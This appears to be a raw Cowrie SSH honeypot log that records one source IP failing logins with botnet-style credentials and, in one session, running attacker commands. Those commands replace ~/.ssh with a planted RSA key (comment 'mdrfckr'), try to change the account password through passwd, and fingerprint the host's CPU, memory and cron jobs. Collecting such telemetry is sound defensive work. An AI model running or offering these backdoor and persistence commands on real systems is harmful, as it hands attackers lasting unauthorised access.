{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:35.727880Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:35.732056Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:35.736090Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:35.987625Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:36.519636Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:36.522745Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:36.774469Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:36.778266Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":55930,"dst_ip":"159.203.135.109","dst_port":22,"session":"2219b4d3bc97","protocol":"ssh","message":"New connection: 163.7.6.74:55930 (159.203.135.109:22) [session: 2219b4d3bc97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:37.032439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:37.035730Z","src_ip":"163.7.6.74","session":"2219b4d3bc97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:37.289743Z","src_ip":"163.7.6.74","session":"2219b4d3bc97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:38.343588Z","src_ip":"163.7.6.74","session":"2219b4d3bc97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:39.601283Z","src_ip":"163.7.6.74","session":"2219b4d3bc97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":55944,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ac1d53e3ddd","protocol":"ssh","message":"New connection: 163.7.6.74:55944 (159.203.135.109:22) [session: 3ac1d53e3ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:39.837521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:39.841820Z","src_ip":"163.7.6.74","session":"3ac1d53e3ddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:40.116818Z","src_ip":"163.7.6.74","session":"3ac1d53e3ddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:41.136808Z","src_ip":"163.7.6.74","session":"3ac1d53e3ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:42.387281Z","src_ip":"163.7.6.74","session":"3ac1d53e3ddd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:42.689344Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:42.692770Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:42.945055Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:43.487777Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2021\\nSQg3KEzTHR9P\\nSQg3KEzTHR9P\"|passwd|bash","message":"CMD: echo -e \"admin2021\\nSQg3KEzTHR9P\\nSQg3KEzTHR9P\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:43.491461Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:43.495400Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:43.498661Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea33c56c9bddbe1de1a3ed90d55826be244302d12bc83032994f2061b7924ed6","size":32,"shasum":"ea33c56c9bddbe1de1a3ed90d55826be244302d12bc83032994f2061b7924ed6","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea33c56c9bddbe1de1a3ed90d55826be244302d12bc83032994f2061b7924ed6 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:43.750648Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:44.299250Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2021\\nSQg3KEzTHR9P\\nSQg3KEzTHR9P\\n\"|passwd","message":"CMD: echo \"admin2021\\nSQg3KEzTHR9P\\nSQg3KEzTHR9P\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:44.302851Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/99a7610708104a68eeb13e94b93e3ae18f86534ea1e623742621590fc1b8a194","size":25,"shasum":"99a7610708104a68eeb13e94b93e3ae18f86534ea1e623742621590fc1b8a194","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/99a7610708104a68eeb13e94b93e3ae18f86534ea1e623742621590fc1b8a194 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:44.553324Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:45.139814Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:45.143225Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:45.394938Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:45.940952Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:45.944366Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:46.196504Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:46.729319Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:46.732096Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:46.734765Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:46.986482Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:47.529953Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:47.532751Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:47.783432Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:48.326536Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:48.329961Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:48.582494Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:49.125418Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:49.128770Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:49.381687Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:49.925173Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:49.928415Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:50.180084Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:50.728783Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:50.732268Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:50.984283Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:51.548630Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:51.551896Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:51.806543Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:27:52.347441Z","src_ip":"163.7.6.74","session":"83071e890d67","protocol":"ssh"}
